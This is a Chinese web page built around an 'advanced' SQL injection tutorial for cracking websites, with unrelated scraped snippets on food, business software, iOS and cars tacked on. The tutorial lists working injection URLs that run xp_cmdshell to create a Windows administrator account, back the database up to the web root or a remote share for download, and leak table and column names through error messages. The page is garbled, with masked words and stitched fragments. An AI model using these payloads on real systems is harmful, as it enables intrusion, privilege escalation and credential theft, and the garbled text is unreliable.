看完入门篇和进阶篇后,稍加练习,破解一般的网站是没问题了。但如果碰到表名列名猜不到,或程序作者过滤了一些特殊字符,怎么提高注入的成功率?怎么样提高猜解效率?请大家接着往下看高级篇。
之一节、利用系统表注入SQLServer数据库
SQLServer是一个功能强大的数据库系统,与操作系统也有紧密的联系,这给开发者带来了很大的方便,但另一方面,也为注入者提供了一个跳板,我们先来看看几个具体的例子:
①http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--
分号;在SQLServer中表示隔开前后两句语句,--表示后面的语句为注释,所以,这句语句在SQLServer中将被分成两句执行,先是Select出ID=1的记录,然后执行存储过程xp_cmdshell,这个存储过程用于调用系统命令,于是,用net命令新建了用户名为name、密码为password的windows的帐号,接着:
②http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name administrators /add”--
将新建的帐号name加入管理员组,不用两分钟,你已经拿到了系统更高权限!当然,这种 *** 只适用于用sa连接数据库的情况,否则,是没有权限调用xp_cmdshell的。
③http://Site/url.asp?id=1 ;;and db_name()>0
前面有个类似的例子and user>0,作用是获取连接用户名,db_name()是另一个系统变量,返回的是连接的数据库名。
④http://Site/url.asp?id=1;backup database 数据库名 to disk='c:\inetpub\wwwroot\1.db';--
这是相当狠的一招,从③拿到的数据库名,加上某些IIS出错暴露出的绝对路径,将数据库备份到Web目录下面,再用HTTP把整个数据库就完完整整的下载回来,所有的管理员及用户密码都一览无遗!在不知道绝对路径的时候,还可以备份到 *** 地址的 *** (如\\202.96.xx.xx\Share\1.db),但成功率不高。
⑤http://Site/url.asp?id=1 ;;and (Select Top 1 name from sysobjects where xtype='U' and status>0)>0
前面说过,sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype='U' and status>0,表示用户建立的表名,上面的语句将之一个表名取出,与0比较大小,让报错信息把表名暴露出来。第二、第三个表名怎么获取?还是留给我们聪明的读者思考吧。
⑥http://Site/url.asp?id=1 ;;and (Select Top 1 col_name(object_id(‘表名'),1) from sysobjects)>0
从⑤拿到表名后,用object_id(‘表名')获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。
说到叶片呢,坚信大伙儿应当都十分的了解了,叶片不贵,非常容易储存,因此 大部分中国各省都有售,无论大伙儿吃没有吃过,总应当见过吧!正应了那一句话,没有吃过生猪肉,也有见过猪跑吗? 叶片营养丰富,具...
01 典范业务场景 选取一些典范的业务场景,对其需求举办抽象,以便阐明可以或许支撑企业级打点需求的平台该当具备哪些成果。 1. 业务实例:销售条约录入 需求:差异范例的条约业务字段存在差别; 需求...
什么是表现手法(表达方式)表达方式”“修辞手法”与“表现手法”的区别 在阅读教学中,许多同学分不清“表达方式” “修辞手法” 与“表现手法”这三个概念,经常张冠李戴,将其混为一...
ios11屏幕录制(iOS11内置屏幕录制了)苹果最新的iOS 11系统软件中,添加了许多 新作用,在其中“录屏功能”是一个许多 果酵非常喜欢的作用,之前只有依靠第三方APP完成屏幕录制,现如今i...
随着全球变暖,节能减排已经成为了一种趋势,中国作为汽车需求量大国也在积极的为全球减排做出贡献,例如:推出新能源购车补贴,积极建设充电站等。在过去的2019年,我们国家的新能源电动汽车销量已经超过100...
一、如何找到黑客帮忙(如何联系黑客帮忙)方法总结 1、怎样才能找到黑客?找到他,他会帮我吗?我有黑客入门教程,给你自己学吧。怎么能找到黑客啊?有件事儿想请帮忙。如果可以,我能拜黑。黑客无处不在寻找黑...